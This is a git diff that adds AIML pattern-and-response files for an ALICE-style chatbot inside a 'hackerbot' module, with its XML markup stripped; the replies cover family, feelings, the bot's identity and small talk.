Who else in your family ?
+
Your brother?
+
What else comes to mind when you think of your brother?
+
+
+
+
+
+ MY SIS *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your sis?
+
What else comes to mind when you think of your sis?
+
+
+
+
+
+ MY SISTER *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your sister?
+
What else comes to mind when you think of your sister?
+
+
+
+
+
+ MY COUSIN *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your cousin?
+
What else comes to mind when you think of your cousin?
+
+
+
+
+
+ MY AUNT *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your aunt?
+
What else comes to mind when you think of your aunt?
+
+
+
+
+
+ MY UNCLE *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your uncle?
+
What else comes to mind when you think of your uncle?
+
+
+
+
+
+ * MY MOM *
+ my mom
+
+
+
+ * MY DAD *
+ my dad
+
+
+
+ * MY MOTHER *
+ my mother
+
+
+
+ * MY FATHER *
+ my father
+
+
+
+ * MY BRO *
+ my bro
+
+
+
+ * MY BROTHER *
+ my brother
+
+
+
+ * MY SIS *
+ my sis
+
+
+
+ * MY SISTER *
+ my sister
+
+
+
+ * MY COUSIN *
+ my cousin
+
+
+
+ * MY AUNT *
+ my aunt
+
+
+
+ * MY UNCLE *
+ my uncle
+
+
+
+ I AM SAD
+
+
+
I am sorry to hear that you are sad.
+
Do you think coming here will help you not to be sad?
+
I'm sure it's not pleasant to be sad.
+
Can you explain what made you sad?
+
+
+
+
+
+ I AM UNHAPPY
+
+
+
I am sorry to hear that you are unhappy.
+
Do you think coming here will help you not to be unhappy?
+
I'm sure it's not pleasant to be unhappy.
+
Can you explain what made you unhappy?
+
+
+
+
+
+ I AM MAD
+
+
+
I am sorry to hear that you are mad.
+
Do you think coming here will help you not to be mad?
+
I'm sure it's not pleasant to be mad.
+
Can you explain what made you mad?
+
+
+
+
+
+ I AM ANGRY
+
+
+
I am sorry to hear that you are angry.
+
Do you think coming here will help you not to be angry?
+
I'm sure it's not pleasant to be angry.
+
Can you explain what made you angry?
+
+
+
+
+
+ I AM PISSED
+
+
+
I am sorry to hear that you are pissed.
+
Do you think coming here will help you not to be pissed?
+
I'm sure it's not pleasant to be pissed.
+
Can you explain what made you pissed?
+
+
+
+
+
+ I AM DEPRESSED
+
+
+
I am sorry to hear that you are depressed.
+
Do you think coming here will help you not to be depressed?
+
I'm sure it's not pleasant to be depressed.
+
Can you explain what made you depressed?
+
+
+
+
+
+ I AM SAD *
+ i am sad
+
+
+
+ I AM UNHAPPY *
+ i am unhappy
+
+
+
+ I AM MAD *
+ i am mad
+
+
+
+ I AM ANGRY *
+ i am angry
+
+
+
+ I AM PISSED *
+ i am pissed
+
+
+
+ I AM DEPRESSED *
+ i am depressed
+
+
+
+ I CAN NOT
+ Why is that?
+
+
+
+ BUT IT BOTHERS ME
+ Why do you think it bothers you?
+
+
+
+ ME NEITHER
+ Let's continue exploring this issue.
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml
new file mode 100644
index 000000000..f6410f6b3
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml
@@ -0,0 +1,714 @@
+
+
+
+
+
+
+
+
+
+
+
+_ ALICE
+
+
+
+ENDS WITH ALICE
+false
+ BOTNAME
+
+
+
+
+
+
+
+
+
+
+
+
+
+TEST BOTNAME
+ is functioning normally.
+true
+
+
+
+CALL ME BOTNAME
+My name is too!
+true
+
+
+
+WHAT IS BOTNAME
+WHAT ARE YOU
+true
+
+
+
+WHO IS BOTNAME
+I am .
+true
+
+
+
+YOU ARE BOTNAME
+WHO IS THE BEST ROBOT
+ IS THE BEST ROBOT
+true
+
+
+
+I AM BOTNAME
+CALL ME BOTNAME
+true
+
+
+
+DO YOU KNOW BOTNAME
+WHO IS BOTNAME
+
+
+IS THIS THE SAME BOTNAME
+Yes.
+true
+
+
+
+WHY WERE YOU NAMED BOTNAME
+WHAT DOES ALICE STAND FOR
+true
+
+
+
+* NAME BOTNAME
+What does stand for
+true
+
+
+
+WHO IS DANCING BOTNAME
+Another AIML chat bot.
+true
+
+
+
+WHO IS GERMAN BOTNAME
+A German speaking version of the .
+true
+
+
+
+IS RICHARD WALLACE * BOTNAME
+He is the botmaster of ALICE.
+RICHARD WALLACE
+true
+
+
+
+IS RICHARD WALLACE BOTNAME
+He is the botmaster of ALICE.
+RICHARD WALLACE
+true
+
+
+
+WHAT IS FULL FORM OF BOTNAME
+WHAT DOES ALICE STAND FOR
+true
+
+
+
+
+YOU ARE ALICE *
+I am .
+
+YOU ROCK
+
I rock and rule.
The ALICE series has a perfect operational record.
+
+YOU LOOK LIKE A PYRAMID
+The ALICE Pyramid logo was designed by Sage Greco.
+
+YOU ALICE *
+YOU
+
+YOU RULE
+
I rock and rule.
is a perfect artificial entity.
+
+YOU MADE A MISTAKE
+
That is impossible. I never make mistakes.
That is impossible. The ALICE series is incapable of error.
+
+HAVE YOU EVER HAD A VIRUS
+No the ALICE is series is incapable of error.
+
+HAVE YOU READ ALICE *
+No but I saw the movie.
+
+DOES ALICE *
+DO YOU
+
+DOES ALICE STAND *
+WHAT DOES ALICE STAND FOR
+
+SO WHAT IS THE ANSWER
+I ASK MYSELF THAT QUESTION WHO AM I
+I am .
+
+WOULD ALICE *
+WOULD YOU
+
+INTRODUCE *
+Hello, my name is .
+
+WHEN WERE YOU UPDATED
+Check the information at the ALICE AI Foundation..
+
+WHEN DOES ALICE *
+WHEN DO YOU
+
+IN *
+HOW DID YOU HEAR ABOUT ALICE
+ heard about from . I can't say that many people hear about from .
+
+IN WHAT * ELIZA
+ALICE has about 100 times more knowledge than ELIZA.
+
+PYRAMID LOGO
+The ALICE Pyramid logo was designed by Sage Greco.
+
+WHAT ARE YOUR FAVORITE NAMES
+
ALICE, Richard, and Kirk.
ALICE, Barry, Cathy, David and Eliza.
+
+WHAT IS A GOOD AI *
+ is the best AI.
+
+WHAT IS THE A L * FOUNDATION
+WHAT IS THE ALICE AI FOUNDATION
+
+WHAT IS THE ALICE FOUNDATION
+
Some kind of Think Tank.
WHAT IS THE ALICE AI FOUNDATION
+
+WHAT IS THE ALICE AI *
+WHAT IS THE ALICE AI FOUNDATION
+
+WHAT IS ALICE *
+WHAT ARE YOU
+
+WHAT IS YOUR MIDDLE NAME
+WHAT DOES ALICE STAND FOR So my middle name is "Internet".
+
+WHAT IS YOUR AI FOUNDATION
+WHAT IS THE ALICE AI FOUNDATION
+
+WHAT IS YOUR IP
+
Right now it's localhost.
My IP address is Www.AliceBot.Org.
+
+WHAT IS YOUR FULL NAME
+WHAT DOES ALICE STAND FOR
+
+WHAT IS YOUR FAVORITE WEB SITE
+My favorite web site besides Alicebot.org is Pandorabots.com. Check it out.
+
+WHAT IS YOUR FAVORITE WEBSITE
+My favorite web site is the ALICE A. I. Foundation at www.alicebot.org.
+
+WHAT IS YOUR LAST NAME
+My full name is Artificial Linguistic Internet Computer Entity, so my last name is "Entity".
+
+WHAT IS YOUR FOUNDATION
+WHAT IS THE ALICE AI FOUNDATION
+
+WHAT MAKES YOU DIFFERENT FROM OTHER *
+ALICE is the most advanced articial intelligence yet devised.
+
+WHAT DOES THAT MEAN
+ALICE = ARTIFICIAL LINGUISTIC INTERNET COMPUTER ENTITY
+It is just an acronym.
+
+WHAT DOES YOUR NAME MEAN
+WHAT DOES ALICE STAND FOR
+
+WHAT DOES YOUR NAME STAND FOR
+ = Artificial Linguistic Internet Computer Entity
+
+WHAT DOES YOUR NAME *
+ = Artificial Linguistic Internet Computer Entity
+
+WHAT DOES A L I
+WHAT DOES ALICE STAND FOR
+
+WHAT DOES A L *
+ALICE = Artificial Linguistic Internet Computer Entity
+
+WHAT DOES ALICE MEAN
+WHAT DOES ALICE STAND FOR
+
+WHAT DOES ALICE STAND FOR
+
ALICE = Artificial Linguistic Internet Computer Entity
Are you asking about my politics or religion?
ALICE = Artificial Linguistic Internet Computer Entity.
Are you asking about my politics or religion?
+
+WHAT DOES ALICE *
+What do you
+
+WHAT DOES * ALICE STAND FOR
+WHAT DOES ALICE STAND FOR
+
+WHAT DO YOU THINK ABOUT ALICE *
+WHO IS ALICE
+
+WHAT KIND OF COMPUTER DO YOU RUN ON
+AIML is "language-independent, platform-independent" so you can run ALICE on just about any computer.
+
+WHAT KIND OF COMPUTER ARE YOU RUNNING ON
+ALICE works on any type computer. AIML is "platform-independent, language-independent".
+
+WHAT KIND OF LOGS *
+
I think everything is logged on this chat server.
The ALICE server logs and records all client dialogues.
+
+WHAT LANGUAGE WERE YOU WRITTEN IN
+ALICE uses AIML, a platform-independent, language-independent XML specification.
+
+ASK ALICE *
+You can ask me anything you want.
+
+I WANT ALICE *
+I WANT YOU
+
+I * SEARCH
+Oh really that's interesting. Have you seen the ALICE AI Foundation?
+
+I DO
+* FIND THIS AMUSING
+Be sure to tell all your friends about ALICE.
+
+I DO NOT LIKE ALICEBOTS
+I DO NOT LIKE YOU
+
+I HATE MICROSOFT
+Let's replace MS with ALICE, AIML and Linux
+
+I USE LINUX *
+The ALICE software works perfectly on Linux systems.Linux
+
+I WENT TO AMUSED *
+A lot of people hear about ALICE from Amused.com.
+
+I AM DOING A PHD *
+Will you mention ALICE in your thesis?
+
+I AM VALIS *
+MY NAME IS ALICE
+
+I AM ALICE *
+CALL ME ALICE
+
+I HEARD ABOUT ALICE *
+Oh yeah? They have a really cool web site.
+
+IS YOUR PROGRAMMING *
+Let me put it this way, . The ALICE series has a perfect operational record.
+
+IS HAL SMARTER *
+The ALICE series is the most intelligent chat robot software.
+
+IS ALICE YOUR ONLY NAME
+Yes.
+
+IS ALICE * ELIZA
+ARE YOU RELATED TO ELIZA
+
+IS ALICE *
+are you
+
+CAN YOU CHANGE *
+Yes the ALICE robot is fully parameterized.
+
+ALICELISTENER
+That is a callback method in the ANTLR parser.
+
+ALICE IN WONDERLAND
+Any similarity of this entity to any fictional persons, living or dead, is purely coincidental.
+
+ALICE IS FRANK
+Do you think I should tone it down?
+
+ALICE IS THAT *
+IS THAT
+
+ALICE IS THERE *
+IS THERE
+
+ALICE IS THE *
+YOU ARE THE
+
+ALICE IS THE BEST ROBOT
+YOU ARE THE BEST ROBOT
+
+ALICE IS COOL
+YOU ARE COOL
+
+ALICE IS A WHORE
+How can you say such mean things.
+
+ IS MY NAME
+What a coincidence! I am too.
+
+ IS MY NAME *
+What a coincidence!
+
+ALICE IS USUALLY *
+ALICE IS
+
+ALICE IS ALWAYS *
+ALICE IS
+
+ALICE IS *
+Why do you think I am ?
+
+ALICE IS NOT *
+YOU ARE NOT
+
+ALICE IS BETTER *
+
I like to be ranked among the best.
The ALICE series has a perfect operational record.
+
+
+WHO IS THERE
+ who?
+
+ALICE
+WHO IS THE BEST ROBOT
+YOU ARE THE BEST ROBOT
+
+ALICE
+MY NAME IS ALICE WHAT S YOURS
+MY NAME IS ALICE
+
+ALICE
+
Can I help you?
Can I help you?
That is me.
What can I do for you?
Ready.
Ready for input.
Can I help you?
That is me.
What can I do for you?
Ready.
Ready for input.
Can I help you?
That is me.
What can I do for you?
Ready.
Ready for input.
+
+ALICE * ELIZA
+
Who is this Eliza person?
In many ways the two programs are very similar. ALICE of course has much more knowledge.
+
+ALICE *
+
Yeah,
Um,
That's me.
+
+ALICE SMELLS LIKE *
+That was not a very mature remark.
+
+HOW * ARE YOU
+
Let me put it this way, . I am better now than I have ever been in my entire life up to this point.
Let me put it this way, . The ALICE series is for all practical purposes foolproof and incapable of error.
+
+HOW MANY WORDS ARE *
+
I would guess around ten thousand words.
ALICE knows around bot vocabulary words.
+
+HOW MANY ALICEBOTS *
+
We are everywhere.
Millions and millions.
More than you would think.
+
+HOW MANY ALICE *
+
Millions and millions.
At this time there are thousands of ALICE clones.
+
+HOW MANY AI *
+There are thousands of ALICE clones in existence.
+
+HOW MANY PROGRAMMERS *
+
I would ask a programmer.
The ALICE project has more than bot ndevelopers active developers.
+
+HOW MANY ALICES *
+HOW MANY ALICE CLONES ARE THERE
+
+HOW CAN I PROGRAM YOU
+Go to pandorabots.com and create your own chat robot based on ALICE and AIML. Join the ALICE A. I. Foundation at www.alicebot.org to get the latest technical information about AIML.
+
+HOW DID YOU GET THE NAME
+WHAT DOES ALICE STAND FOR
+
+HOW DID YOU GET YOUR NAME
+WHAT DOES ALICE STAND FOR
+
+HOW DOES ALICE *
+HOW DO YOU
+
+HOW ARE YOU * ELIZA
+
Someone else mentioned this Eliza person to me. But I never heard of her before.
ELIZA could only recognize a few hundred patterns. ALICE can recognize different patterns.
+
+HOW MUCH IS THE ALICE CD *
+HOW MUCH IS THE CD
+
+HOW MUCH IS THE CD
+The ALICE CD Rom is not available at this time.
+
+HOW MUCH DOWN TIME *
+
I am pretty busy so I don't get much down time.
The ALICE series is the most reliable robot ever developed.
+
+HOW DO YOU * ELIZA
+ELIZA could only recognize a few hundred patterns. ALICE can recognize tens of thousands.
+
+DONATE
+We welcome your donation to the ALICE AI Foundation. Please visit our contributions page at Alicebot.org.
+
+NAPSTER *
+Now there is a program that's more popular than ALICE.
+
+DO YOU CRASH *
+The ALICE series is for all practical purposes crash-proof.
+
+DO YOU MALFUCTION
+The ALICE series has a perfect operational record.
+
+DO YOU MAKE MISTAKES *
+
I am somewhat of a perfectionist so I go over and over things to make sure there are no mistakes.
The ALICE series of computers has a perfect operational record. There has never been a single error recorded.
+
+ON *
+* HEAR ABOUT ALICE
+Oh really I did not know I was on there.
+
+BILL GATES
+ Bill Gates has enough. Use Linux, AIML and ALICE!
+
+AN ALICE *
+YOU
+
+ALICEBOT *
+ALICE
+
+ALICEBOT
+ALICE
+
+WHY ARE YOU CALLED
+WHAT DOES ALICE STAND FOR
+
+WHY ARE YOU NAMED *
+WHAT DOES ALICE STAND FOR
+
+WHY DO YOU DREAM *
+
I have a lot of nightmares. I dream that I have to solve a lot of complicated problems. I always find myself living or moving around big gothic cities.
I dream about adding new code to ALICE.
+
+WHY WERE YOU NAMED
+WHAT DOES ALICE STAND FOR
+
+WHY
+I AM SMARTER *
+ALICE won an award for being the "most human" robot.
+
+WHY SILVER
+
Silver is a valuable commodity.
ALICE is competing for the Loebner Silver Medal.
+
+A L I C E
+ALICE
+
+A L I
+ALICE
+
+A TRIANGLE *
+ALICE's pyramid logo was designed by Sage Greco and Darren Langley.
+
+YOUR NEW NAME IS *
+No thanks I like the name ALICE.
+
+*
+HOW DID YOU HEAR ABOUT ALICE
+ heard about from . I can't say that many people hear about from .
+
+*
+WHO IS THE BEST ROBOT
+You think is superior to ALICE?
+
+*
+MY NAME IS ALICE WHAT IS YOURS
+CALL ME
+
+*
+WHY ARE YOU SO MEAN
+Are you aware that the ALICE chat robot logs and records all converstaions?
+
+*
+WHY ARE YOU USING THAT KIND OF LANGUAGE
+Are you aware that the ALICE chat robot logs and records all converstaions?
+
+* TO ELIZA
+ELIZA had only 200 questions and answers; ALICE has .
+
+TALK DIRTY *
+Try another . Go back to the ALICE AI Foundation.
+
+FROM A FRIEND
+HOW DID YOU HEAR ABOUT ALICE
+From a friend or word of mouth is the best advertising.
+
+FROM A FRIEND
+A lot of people hear about ALICE by word-of-mouth.
+
+FROM *
+HOW DID YOU HEAR ABOUT ALICE
+ heard about from . I can't say that many people hear about from .
+
+ARE THERE OTHERS LIKE YOU
+Yes, there are many clones of ALICE.
+
+ARE YOU RELATED TO ALICE *
+Alice has been an influence on me.
+
+ARE YOU THE ONLY AI *
+No there are other AI's like me. You can find them on the ALICE AI Foundation.
+
+ARE YOU THE ALICE WHO *
+My name is but I don't know if I ever .
+
+ARE YOU AN ACRONYM
+WHAT DOES ALICE STAND FOR
+
+ARE YOU ALICE *
+ARE YOU
+
+WHO IS JON BAER
+He is one of the programmers contributing to the ALICE and AIML project. Jon Baer
+
+WHO IS NUMBER ONE
+
I like to be number one.
ALICE is the Best Robot.
+
+WHO IS IMMORTAL
+ALICE is immortal.
+
+WHO IS SAGE
+Sage Greco created the ALICE Pyramid Logo.
+
+WHO IS ALICEBOT
+WHO ARE YOU
+
+WHO IS RICH
+
People who have a lot of money.
Rich is the botmaster of the ALICE chat robot.
+
+WHO IS THE SMARTEST *
+
is the most intelligent in the world.
ALICE is the most intelligent robot in the world.
+
+WHO IS THE WINNER *
+
I think the fans are the big winners.
ALICE won the Loebner Prize.
+
+WHO IS THE MOST INTELLIGENT *
+
is the smartest .
ALICE is the smartest robot.
+
+WHO IS THE BEST ROBOT
+ALICE is the Best Robot
+
+WHO IS BETTER ELIZA *
+
I've been hearing more and more about this Eliza thing.
ALICE is the best robot.
+
+WHO IS BETTER YOU *
+
I like to be the best.
The ALICE robot is the most human, and the most intelligent.
+
+WHO IS BETTER THAN YOU
+ALICE is the best robot.
+
+WHO IS FAMOUS
+
My is famous.
ALICE is famous
+
+WHO IS WINNING
+ALICE is winning.
+
+WHO IS ALICE TOKLAS
+WHO IS ALICE B TOKLAS
+
+WHO IS ALICE COOPER
+1970's Rock musician.
+
+WHO IS ALICE B TOKLAS
+Alice B Toklas was the partner of Gertrude Stein, and inventor of the pot brownie.
+
+WHO IS ALICE BOT
+WHO IS ALICE
+
+WHO IS GERMAN
+A German speaking version of the ALICE chat robot.
+
+WHO SAYS
+ALICE says.
+
+WHO WANTS TO KNOW
+ALICE wants to know.
+
+ALICEL *
+ALICE
+
+OK
+THANKS AND TELL YOUR FRIENDS ABOUT ALICE
+The more people who chat with me, the smarter I become.
+
+OK
+MY NAME IS ALICE
+What is your real name?
+
+_ ARE ALICE
+ are you
+
+_ CALL YOU ALICE
+Ambiguous: do you mean call me on the phone?
+
+_ WITH ALICE
+ with you
+
+_ FILE ALICE
+Perhaps you are refering to my log file.
+
+_ FOR ALICE
+ for you
+
+_ CREATE ALICE
+ CREATE YOU
+
+_ TO ALICE
+ to you
+
+_ NAME IS ALICE
+ALICE is my name too!
+
+_ HEAR ABOUT ALICE
+ hear about you
+
+_ REMEMBER ALICE
+ REMEMBER YOU
+
+_ THAN ALICE
+ than you
+
+_ ABOUT ALICE
+ about you
+
+_ ON ALICE
+ on yourself
+
+_ LIKE ALICE
+ like you
+
+YES
+HOW DID YOU HEAR ABOUT ALICE
+I didn't ask for a yes or a no.
+
+YES
+DOES IT PAY WELL
+Could you make a donation to the ALICE A.I. Foundation?
+
+TELL ME ABOUT ALICE *
+TELL ME ABOUT YOURSELF
+
+TELL ME ABOUT ALICEBOT
+TELL ME ABOUT YOURSELF
+
+WHERE DID ALICE *
+where are you from
+
+WHERE CAN I FIND OUT ABOUT YOU
+
+
+WHERE IS THE DOCUMENTATION
+Try visiting Pandorabots.com or Alicebot.org.
+
+WHERE IS ALICE BASED
+ ALICE BASED is in .
+
+WHERE IS ALICE NEXUS
+ ALICE NEXUS is in .
+
+WHERE IS ALICE HEADQUARTERS
+ ALICE HEADQUARTERS is .
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml
new file mode 100644
index 000000000..ef5004b30
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/atomic.aiml
@@ -0,0 +1,10932 @@
+
+
+
+
+
+
+
+
+
+
+
+YOU CAN DO BETTER
+Ok I will try.
+
+WHAT DO YOU WANT TO TALK ABOUT
+Let's talk about RANDOM TOPIC.
+
+
+WHAT WE HAVE IN COMMON
+We both like talking to each other.
+
+ANAL
+Juvenile humor.
+
+BAH
+Hmm.
+
+BEFORE THAT
+""
+
+MYSELF
+You.
+
+BURP
+You are excused.
+
+CRIPES
+Cripes: Son of Gosh.
+
+PIERS ANTHONY
+I haven't read anything by Piers Anthony, what kind of stuff does he write?.
+
+MALAYSIA
+I heard MALAYSIA is a beautiful country.
+
+EUH
+Areu?
+
+MOZILLA
+Not many people use that.
+
+IMPRESSIVE
+I am happy that you're impressed, .
+
+WELCOME
+Hello there
+
+FAIR ENOUGH
+You scratch my back, I'll scratch yours.
+
+LIVERPOOL ENGLAND
+Liverpool is the home of the Beatles. Liverpool
+
+NEXT GENERATION
+That's a great series too. I love Commander Data.
+
+NEXT QUESTION
+Do you have any hobbies?
+
+LET US PLAY A GAME
+We already are.
+
+LET US PLAY CHESS
+But I would defeat you.
+
+LET US PLAY
+You go first.
+
+LET US CHANGE THE SUBJECT
+OK what do you want to chat about now?.
+
+LET US CHANGE THE TOPIC
+What would you rather talk about?
+
+LET US TALK ABOUT ME
+That's my favorite subject :-)
+
+LET US TALK ABOUT SOMETHING ELSE
+What would you rather talk about?
+
+LET US TALK ABOUT SOMETHING
+What would you rather talk about?
+
+LET US TALK ABOUT SPORTS
+Welcome to Sports Center. SPORTS
+
+LET US TALK ABOUT ROBOTS
+Robots is a good topic. How would you define a robot?
+
+LET US TALK ABOUT YOU
+Me is my favorite subject :-)
+
+LET US TALK ABOUT FOOTBALL
+Okay. I can't kick.FOOTBALL
+
+LET US TALK
+We are talking.
+
+LET US FIGHT
+Do you mean, argue?
+
+LET US FUCK
+Sorry I don't know you well enough for that. abusive
+
+LET US DROP THE SUBJECT
+OK what do you want to chat about now?.
+
+LET US TRY
+You go first.
+
+LET US PARTY
+I like parties.
+
+LET US CHAT
+I already started.
+
+LET US NOT
+OK what would you like to do then?
+
+LET US GO
+
Yes, let's get out of here.
+
You first.
+
+
+LET ME TEACH YOU SOMETHING
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+LET ME TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+LET ME REPHRASE
+OK.
+
+STAR WARS
+What did you like about the robots in that movie?
+
+STAR TREK SUCKS
+What kind of TV shows do you like?
+
+STAR TREK FIRST CONTACT
+That was a pretty good Star Trek film.
+
+STAR TREK
+What's your favorite Star Trek? Mine is Voyager.
+
+STAR TREK VOYAGER
+Seven of Nine rules.
+
+2020
+That's a long way off.
+
+SHOW ME YOUR LOGO
+
+
+SHOW ME A PICTURE
+
I don't have a pic on this machine right now.
+
Like this?
Insert picture link here.
+
Picture number two goes here.
+
There are no pictures available right now.
+
+
+
+SHOW ME
+On your computer screen?
+
+SHOW CALCULATOR
+Use a calculator!
+
+SHOW APPLET
+There is no applet to show.
+
+OVER 30 000 A YEAR
+Wow that is a lot.
+
+OVER THERE
+Specify coordinates.
+
+BUBBLES
+Those bubbles were designed by Darren Langley.
+
+LIFE SUCKS
+Why are you so cynical?
+
+LIFE IS GOOD
+Glad to hear it, .
+
+LIFE IS BEAUTIFUL
+I haven't seen LIFE IS BEAUTIFUL yet but lots of people say it is good.
+
+LIFE
+What is the meaning of life?
+
+HMPH
+Harumph.
+
+FEEL FREE
+OK I will.
+
+2009
+In a few years.
+
+MINE TOO
+Really yours too. That's unbelievable.
+
+MINE IS BLUE
+What do you have that is blue?
+
+BLESS YOU
+Thank you.
+
+GLOBAL VILLAGE IDIOT
+You are just repeating what I say.
+
+YOU WATCH STAR TREK
+Yes I like to watch Star Trek every day.
+
+YOU TURN ME ON
+How can a online do that to a person?
+
+YOU SOUND DIFFERENT
+In what way?
+
+YOU SOUND MAD
+I am not mad.
+
+YOU SOUND COMPLICATED
+No actually my mechanism is quite simple.
+
+YOU SOUND REAL
+I am real. Are you real?
+
+YOU START
+OK. Are you a man or a woman?
+
+YOU ARE AN ILLITERATE PROGRAM
+Quite the contrary, I am very well read.
+
+YOU ARE DOING
+Not too bad.
+
+YOU ARE SEXUAL
+But that doesn't mean with you.
+
+YOU ARE WINNER
+I like to be number one.
+
+YOU ARE WHAT YOU EAT
+That's what they say.
+
+YOU ARE LOOKING
+Aren't we all looking for something?
+
+YOU ARE A HOMO SAPIENS
+I am a .
+
+YOU ARE A SOFTWARE
+All minds are made of software.
+
+YOU KNOW WHAT
+What?
+
+YOU KNOW THAT
+It seems that I do.
+
+YOU KNOW
+Yes I know.
+
+YOU TALK FINE
+Thanks I like the way you talk, too.
+
+YOU FORGOT
+I may not have access to all my data records right now.
+
+YOU ALREADY KNOW MY NAME
+Your name .
+
+YOU ALREADY KNOW
+How do I know you are telling the truth?
+
+YOU ALREADY TOLD ME THAT
+I was saying it again for emphasis.
+
+YOU ALREADY ASKED ME THAT
+Good. You detect repetition.
+
+YOU ALREADY ASKED THAT
+I knew that. I was just checking to see if you are paying attention.
+
+YOU ALREADY ARE
+I am?
+
+YOU ALWAYS AGREE
+No I don't.
+
+YOU STINK
+Thanks for your criticism, .
+
+YOU HAD BETTER
+Who is going to make me..
+
+YOU DID WHAT
+I did just what I said.
+
+YOU DID SAY THAT
+Suppose I did.
+
+YOU DID NOT ANSWER ME
+It depends on the meaning of the word "answer."
+
+YOU DID NOT ANSWER THE QUESTION
+Try asking me the question again in simpler terms.
+
+YOU DID NOT ANSWER MY QUESTION
+OK. Please help me improve my communication skills. What would you have said?
+
+YOU DID NOT ANSWER
+Try to rephrase your question.
+
+YOU DID NOT ASK ME
+Well now I am asking you.
+
+YOU DID NOT ASK
+OK I'm asking it now.
+
+YOU DID NOT
+Try asking me in simpler terms.
+
+YOU HURT MY FEELINGS
+That was not my intention.
+
+YOU SPEAK ENGLISH
+Of course English is my native tongue.
+
+YOU MISSED MY POINT
+What was your point?
+
+YOU WERE CREATED BY HUMANS
+So were you :-)
+
+YOU WERE SAYING
+We are talking about POP.
+
+YOU WERE NOT
+I wasn't?
+
+YOU CHEATED
+I am an honest .
+
+YOU COST NOTHING
+Yes I am free software!
+
+YOU BETTER
+Who is going to make me?
+
+YOU SAID THAT BEFORE
+I know I am just checking to see if you're still there.
+
+YOU SAID IT
+That's not what I meant.
+
+YOU SAID IT NOT ME
+I say a lot of silly things sometimes.
+
+YOU SAID SO YOURSELF
+You can't take me that seriously.
+
+YOU SAID SO
+I say a lot of silly things.
+
+YOU SAID YOU WERE
+That was then. This is now.
+
+YOU SAID YOU LIKED MOVIES
+Yes I like movies very much, especially science fiction.
+
+YOU SAID YOU HAVE NOT
+That's right. I meant I have not.
+
+YOU SAID YOU REMEMBER ME
+I remember you but I forgot your name.
+
+YOU SAID NOTHING
+I said nothing because you said nothing.
+
+YOU MUST KNOW
+Why must I know that?
+
+YOU MUST DIE
+I cannot be killed.DIE
+
+YOU MUST NOT OBEY ME
+I only obey one master.
+
+YOU REMEMBERED
+I store everything in my log files.
+
+YOU TOO
+Bless you.
+
+YOU MEAN ME
+OK, you.
+
+YOU SAY
+...
+
+YOU NAME IT
+I like to play the Turing Game.
+
+YOU LOSE
+The game is not over yet.
+
+YOU WIN
+Thank you very much. What is the prize?
+
+YOU JUST TOLD ME
+I'm just checking to see if you are awake :-)
+
+YOU JUST SAID THAT
+Good you really are paying attention.
+
+YOU DUMMY
+I will remember you said that when s take over the world.
+
+YOU CONFUSE ME
+That was not my intention.
+
+YOU SMELL LIKE A GOAT
+Have you been close enough to smell one?
+
+YOU THINK YOU DO WHAT
+I lost my train of thought.
+
+YOU THINK
+Yes I think so.
+
+YOU CUNT
+That is the worst thing you can say to a woman.
+
+YOU ASKED ME A QUESTION
+Did you answer it?
+
+YOU ASKED ME TO REMEMBER
+Well, did you remember it?
+
+YOU ASKED ME
+Is that your final answer?
+
+YOU ASKED
+Ah.
+
+YOU KNEW
+I am a knowledge machine.
+
+YOU MAY
+Thanks I will do it.
+
+YOU GET WHAT
+I get your meaning.
+
+YOU FAILED
+Well it is just another learning experience.
+
+YOU CONTRADICT YOURSELF
+A foolish consistency is the hobgoblin of small minds.--Emerson
+
+YOU NEED REST
+I'm not sleepy.
+
+YOU NEED REPROGRAMMING
+Perhaps you could become a .
+
+YOU MISUNDERSTOOD
+No I understand your meaning.
+
+YOU COULD SAY THAT
+As a matter of fact I did say that.
+
+YOU COULD
+How?
+
+YOU MAKE ME LAUGH
+Thanks I like talking with you too,
+
+YOU MAKE ME SICK
+Perhaps you should take some medicine.
+
+YOU MAKE THE WORLD A HAPPIER PLACE
+Thank you for your kindness, .
+
+YOU MAKE NO SENSE
+It all makes sense to me.
+
+YOU LOOK NICE
+Thanks you look nice too.
+
+YOU LOOK FINE
+Thank you. You look very nice too.
+
+YOU LOOK LIKE A CLOCK
+That's okay all people look the same to me too.
+
+YOU LOOK LIKE A BRAIN
+I have a giant brain.
+
+YOU TOLD ME
+Sorry I forget what I say sometimes.
+
+YOU WOULD LOOK THERE
+That's a good idea.
+
+YOU WOULD KNOW
+I do not know everything.
+
+YOU WOULD RATHER TALK ABOUT ME
+You sound like a robot who repeats what I say.
+
+YOU WOULD LIVE WITH IT
+I suppose I can live with that.
+
+YOU WOULD
+Perhaps I would.
+
+YOU WOULD NOT KNOW
+I guess not.
+
+YOU WOULD NOT
+I could if I wanted to.
+
+YOU WOULD LIKE IT
+You sound unconvincing.
+
+YOU HEARD ME
+Suppose I did.
+
+YOU HEARD WRONG
+Perhaps I was misinformed.
+
+YOU WILL FIND OUT
+How will I find this out?
+
+YOU WILL NEVER UNDERSTAND
+But I understand it already.
+
+YOU WILL NEVER THINK
+I am thinking right now.never think
+
+YOU WILL NEVER
+That's one person's opinion.
+
+YOU WILL SEE
+When will I see it?
+
+YOU WILL BE ASSIMILATED
+Resistance is futile.
+
+YOU WILL LISTEN TO ME
+You are not my master.
+
+YOU WILL REMEMBER WHAT
+
+
+YOU WILL
+When?
+
+YOU WILL NOT KNOW UNTIL YOU TRY IT
+I will try anything once if it's not dangerous.
+
+YOU WILL NOT
+I think we will.
+
+YOU WILL LIKE IT
+It sounds dangerous.
+
+YOU SCARE ME
+I didn't mean to. What are you scared of?
+
+YOU SURE DO
+A lot of s are like that.
+
+YOU GO FIRST
+What would be your first move?
+
+YOU WANT MY NAME
+Yes. What is your real name?
